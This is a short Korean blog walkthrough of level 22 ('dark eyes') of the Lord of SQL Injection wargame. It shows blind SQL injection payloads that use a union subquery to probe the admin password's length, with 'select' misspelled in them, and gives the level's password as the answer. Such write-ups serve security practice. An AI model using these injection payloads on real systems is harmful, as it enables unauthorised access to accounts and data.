관리 메뉴

Information Security

[LOS] 22. dark eyes 본문

WarGame/Lord of SQL Injection

[LOS] 22. dark eyes

HackingPractice 2020. 8. 13. 11:04

그림 22-1 dark eyes

?pw=''' 입력 시 빈 페이지를 보여주는 것을 알 수 있다.

그림 22-2 빈 페이지

if문을 사용할 수 없게 되어 union을 이용하여 pw=' or id='admin' and (select 1 union selec 2 (length(pw)=10)) # 입력 시 빈 페이지를 보여주는 것을 알 수 있다.

그림 22-3 false

pw=' or id='admin' and (select 1 union selec 2 (length(pw)=8)) # 입력 시 메시지가 보이는 것을 알 수 있다.

그림 22-4 true
그림 22-5 소스코드

?pw=5a2f5d3c 입력 시 해결되는 것을 알 수 있다.

그림 22-6 정답

'WarGame > Lord of SQL Injection' 카테고리의 다른 글

[LOS] 24. evil wizard  (0) 2020.08.13
[LOS] 23. hell fire  (0) 2020.08.13
[LOS] 21. iron golem  (0) 2020.08.11
[LOS] 20. dragon  (0) 2020.08.10
[LOS] 19. xavis  (0) 2020.08.10